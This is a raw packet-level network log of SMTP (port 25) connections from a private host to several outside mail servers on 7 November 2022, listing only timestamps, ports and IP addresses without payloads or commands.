Nov 7, 2022 22:24:41.436486006 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.436526060 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.436546087 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.436564922 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.436583042 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.436599970 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.436619043 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.436636925 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.464878082 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.464919090 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.464937925 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.464956045 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.464972973 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.464992046 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.465010881 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.465029001 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.465046883 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.465065956 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.465084076 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.465104103 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.465121984 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.465138912 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.465158939 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.465177059 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.465187073 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.465197086 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.465210915 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.465229988 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.465246916 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.465269089 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.465286970 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.465369940 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.465410948 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.465497971 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.465518951 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.465538025 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.465635061 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.465655088 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.465677023 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.465696096 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.465795994 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.465816975 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.465872049 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.465892076 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.465940952 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.465959072 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.465995073 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.466015100 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.466033936 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.466152906 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.466187954 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.466227055 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.466269970 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.466289043 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.466394901 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.466428995 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.466517925 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.466541052 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.466558933 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.466578007 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.466597080 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.466626883 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.466666937 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.466753960 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.466774940 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.466793060 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.466928959 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.466952085 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.466969967 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.466989040 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467008114 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467025995 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467044115 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467062950 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467080116 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467098951 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467117071 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467135906 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467154980 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467174053 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467192888 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467211008 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467227936 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467247009 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467266083 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467283964 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467302084 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467349052 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467386961 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467432022 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467451096 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467468023 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467505932 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467550039 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467569113 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467588902 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467607975 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467627048 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467645884 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467669010 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467686892 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467705011 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467722893 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467741013 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467758894 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467777967 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467796087 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467814922 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467833996 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467852116 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467869043 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467885971 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467904091 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467920065 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.467937946 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.492691994 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.493128061 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.493628979 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.507599115 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.509577990 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.519299984 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.526274920 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.526365042 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.559742928 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.561642885 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.561686039 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.561708927 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.561729908 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.561748981 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.561784983 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.561796904 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.561803102 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.561822891 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.561840057 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.561846972 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.561856985 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.561885118 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.561907053 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.561944008 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.567847013 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.567882061 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.567902088 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.567919970 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.567939043 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.567956924 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.568031073 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.568059921 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.573698997 CET	25	49782	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:41.607955933 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.608088970 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.615781069 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.615816116 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.615833998 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.615854025 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.615875006 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.615889072 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.615888119 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.615910053 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.615925074 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.615930080 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.615948915 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.615967989 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.615973949 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.616008043 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.616034985 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.616066933 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.616086006 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.616105080 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.616122007 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.616139889 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.616188049 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.616190910 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.616190910 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.616205931 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.616209984 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.616234064 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.616250038 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.616266966 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.616286039 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.616292953 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.616314888 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.616329908 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.623389959 CET	49782	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:41.626332998 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.626374006 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.626398087 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.626419067 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.626437902 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.626460075 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.626477003 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.626490116 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.626564980 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.626564980 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.627192974 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.627274036 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.627506018 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.627532959 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.627554893 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.627574921 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.627595901 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.627609968 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.627610922 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.627644062 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.627665997 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.627696037 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.627753973 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.627806902 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.627855062 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.627880096 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.666949987 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.667123079 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.667129040 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.667193890 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.669866085 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.669897079 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.669970036 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.670099020 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.670119047 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.670136929 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.670156956 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.670175076 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.670231104 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.670233011 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.670253038 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.670277119 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.670295000 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.670314074 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.670334101 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.670351982 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.670365095 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.670389891 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.670413971 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.670437098 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.670442104 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.670475960 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.670492887 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.670495987 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.670510054 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.670510054 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.670527935 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.670546055 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.670557022 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.670562983 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.670577049 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.670581102 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.670610905 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.670624971 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.670638084 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.670644999 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.670663118 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.670665979 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.670682907 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.670700073 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.670701027 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.670715094 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.670739889 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.670773029 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.670792103 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.670808077 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.670820951 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.670824051 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.670838118 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.670886040 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.670917034 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.670936108 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.670964956 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.670979977 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.670984983 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.671026945 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.671027899 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.671046019 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.671063900 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.671082973 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.671083927 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.671098948 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.671103954 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.671117067 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.671158075 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.684643030 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.684758902 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.685587883 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.685617924 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.685722113 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.685831070 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.685889006 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.686853886 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.686908007 CET	25	49784	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:41.686963081 CET	49784	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:41.716301918 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:41.723969936 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.724018097 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.724096060 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.724117041 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.724133015 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.724174023 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.724200010 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.724333048 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.724385977 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.724458933 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.724478006 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.724524021 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.724533081 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.724597931 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.724649906 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.724668980 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.724719048 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.724733114 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.724783897 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.724910021 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.724931002 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.724948883 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.724967003 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.724986076 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.724989891 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.725004911 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.725008011 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.725052118 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.725071907 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.725079060 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.725084066 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.725095987 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.725126028 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.725147009 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.725156069 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.725192070 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.725220919 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.725239038 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.725251913 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.725271940 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.725291014 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.725297928 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.725303888 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.725315094 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.725323915 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.725370884 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.725389004 CET	49780	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:41.725390911 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.725410938 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.725430965 CET	25	49780	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:41.725449085 CET	25	49780	142.250.150.27	192.168.2.5
